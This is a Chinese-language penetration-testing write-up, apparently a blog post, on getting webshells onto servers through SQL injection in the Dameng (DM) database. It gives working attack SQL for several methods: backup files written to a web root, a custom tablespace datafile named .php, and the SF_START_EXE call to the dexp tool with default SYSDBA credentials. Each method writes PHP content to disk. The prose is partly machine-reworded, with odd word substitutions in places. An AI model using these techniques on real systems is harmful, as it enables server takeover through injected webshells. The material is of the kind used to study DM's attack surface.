这篇文章整体算是《达梦数据库手工注入条记》的续集,达梦作为海内精良的信创数据库,在关基单位中拥有越来越大的用户利用量。
通过SQL注入来写文件一贯以来都是SQL注入漏洞深入利用的一种办法,对付不同的数据库常日写文件的办法也是不一样的。通过笔者的探索创造,达梦数据库(往后简称DMSQL)写文件的办法也与其它数据库存在较大的差异。
DMSQL默认情形下是支持堆叠注入的(笔者试了官方给的java版本的SDK,其它版本未考试测验),也便是说在注入的时候支持多语句,支持多语句为攻击者供应了对SQL注入漏洞进行深入利用的遐想,也使得本文利用DMSQL写文件的研究具有实际意义。

0x02 探索
熟习渗透的小伙伴都会有一些通过SQL注入写文件的技巧,我们首先通过两种经典的写文件办法来探索达梦写文件的不同。
1) 通过into outfile办法写文件
在MySQL数据库中可以通过经典的into outfile来把查询结果保存在文件中,但是在DMSQL中并没有相应的语法,也没有into dumpfile的语法,如下图所示:
2) 通过backup database办法写文件
在MSSQL数据库中可以通过备份的办法来写文件,而且在DMSQL中也存在相似的语法,如下图所示:
本以为该当因此与MSSQL相似的手腕就可以直接备份写文件,但在实际利用过程中创造并非如此,DM数据库默认是不许可进行备份的,必须首先开启归档模式才能进行备份。
在默认安装的DM数据库中,要通过备份数据库的功能实现文件写入,完全的代码如下:
-- 使数据库转变为OPEN模式alter database open; -- 先完全的对数据 进行一次备份,目录不存在会自动创建backup database backupset 'C:\phpstudy_pro\WWW\xxx\';-- 新建一张表并向表中写入一条带有webshell的数据。个中DEM换成实际可以建表的库名CREATE TABLE "DEM"."EXP14"("id" INTEGER NOT NULL,"name" VARCHAR(50),"content" VARCHAR(50)) STORAGE(ON "MAIN", CLUSTERBTR) ;insert into "DEM"."EXP14" values(1,'aaa', '<?php phpinfo(); ?>');-- 增量备份,,并定义保存文件路径和调试文件路径BACKUP DATABASE increment BACKUPSET 'C:\phpstudy_pro\WWW\121.php' TRACE FILE 'C:\phpstudy_pro\WWW\213.php' TRACE LEVEL 2;
利用上面的代码可以在系统上天生文件,由于DM备份时可以指定保存文件的路径,天生的文件名和路径有关,整体文件目录构造如下:
121.php (目录)121.php.bak (文件)121.php.meta (文件)121.php_1.bak (文件)213.php (文件)
这里面C:\phpstudy_pro\WWW\121.php\121.php.bak文件中保存了备份表中内容信息,如果系统本身存在解析漏洞,可以通过这种办法来达到getshell的效果。
C:\phpstudy_pro\WWW\213.php文件中保存了备份过程日志信息,虽然文件名可以自定义,但是内容并不能任意掌握,导致并不能通过TRACE FILE来getshell。
通过backup语句来写文件并不能完全的掌握文件名和文件内容,导致只能在特定场景下可以利用,并不是一个好的写文件思路。
3) 通过自定义命名空间来写文件
创建表空间(tablespace)是为了更好地管理数据库的物理存储构造。不同的表空间可以存储在不同的磁盘上,有助于优化I/O性能,同时也可以实现数据的逻辑分组。目前许多数据库包括oracle、postgreSQL等都支持自定义表空间,达梦也支持自定义表空间,可以通过此种办法来写文件,详细的写法如下:
-- 创建表空间,自定义表空间保存的文件路径和名字create tablespace "xiao3" datafile 'C:\phpstudy_pro\WWW\xiao3.php' size 32;-- 向自定义的表空间创建一张表,并插入带webshell的内容CREATE TABLE "DEM"."EXP15"("id" INTEGER NOT NULL,"name" VARCHAR(50),"content" VARCHAR(50)) STORAGE(ON "xiao3", CLUSTERBTR);insert into "DEM"."EXP15" values(1,'aaa', '<?php phpinfo(); ?>');
访问天生的C:\phpstudy_pro\WWW\xiao3.php文件,可以实当代码解析。
通过自定义命名空间的办法来写文件可以实现完备自主可控的文件名和文件内容,对用户权限哀求也不是很高,但是缺陷是文件太大(我默认安装的DM,最小的文件是32M)。
本以为通过这种办法就可以在存在SQL注入漏洞的点通过自定义命名空间来达到任意文件写入的效果,但在实际的环境中碰着了报错“语句类型不匹配”。
这紧张是由于针对不同类型的SQL语句,常日须要调用不同的方法来实行,在Java措辞中,DM通过dm.jdbc.driver.DmdbStatement类供应数据操作方法。
方法
浸染
示例
executeQuery
实行查询类语句,返回相应查询结果
SELECT FROM users WHERE "id"=1
executeUpdate
实行修正类语句,返回是否修正成功
UPDATE users SET "name"=’xxx’ where "id"=1
execute
实行所有SQL语句,返回语句是否实行成功
CREATE TABLESPACE "namex" DATAFILE ‘/dbms/namex’ SIZE 32
从上表可以看出一样平常系统中存在的SQL注入漏洞是在executeQuery方法中,通过这个方法传入自定义命名空间的SQL语句,则会报“语句类型不匹配”的非常,导致写文件失落败。
4) 通过dexp文件导出办法写文件
dexp是DM官方供应的文件导出的命令行工具,如下图所示。dexp供应了可以把数据表导出成本地文件的功能,并支持自定义导出的文件名。
本来dexp是命令行的工具,在DM数据库SQL语句中并不能直策应用,但是DM供应了预定义的函数SF_START_EXE可以调用dexp方法,利用方法如下所示:
SF_START_EXE('dexp', 'SYSDBA/SYSDBA@127.0.0.1:5236 FILE=mi.php DIRECTORY=C:\tmp\ TABLES=EXY.EXP',0,'/');TABLES=EXY.EXP 代表可控内容的一张表,表中包含有webshell信息FILE=mi.php 自定义文件名DIRECTORY=C:\tmp\ 自定义文件路径SYSDBA/SYSDBA@127.0.0.1:5236 DM数据库地址端口及对应的账号密码
仿照在executeQuery方法中存在的SQL注入漏洞,通过堆叠注入调用SF_START_EXE方法来写文件,如下图所示:
通过SF_START_EXE来写文件不会触发“语句类型不匹配”的问题,并且支持完备可控的自定义文件名和路径,是目前为止最好用的通过DM数据库SQL注入来写文件的办法之一。
0x03 总结
DM数据库本身供应了很多写文件的办法,但是能在实际攻击场景中利用的写文件方法并不多。目前关于DM数据库特性研究的文章还不是很多,SF_START_EXE是目前笔者实际测试中最好用的方法。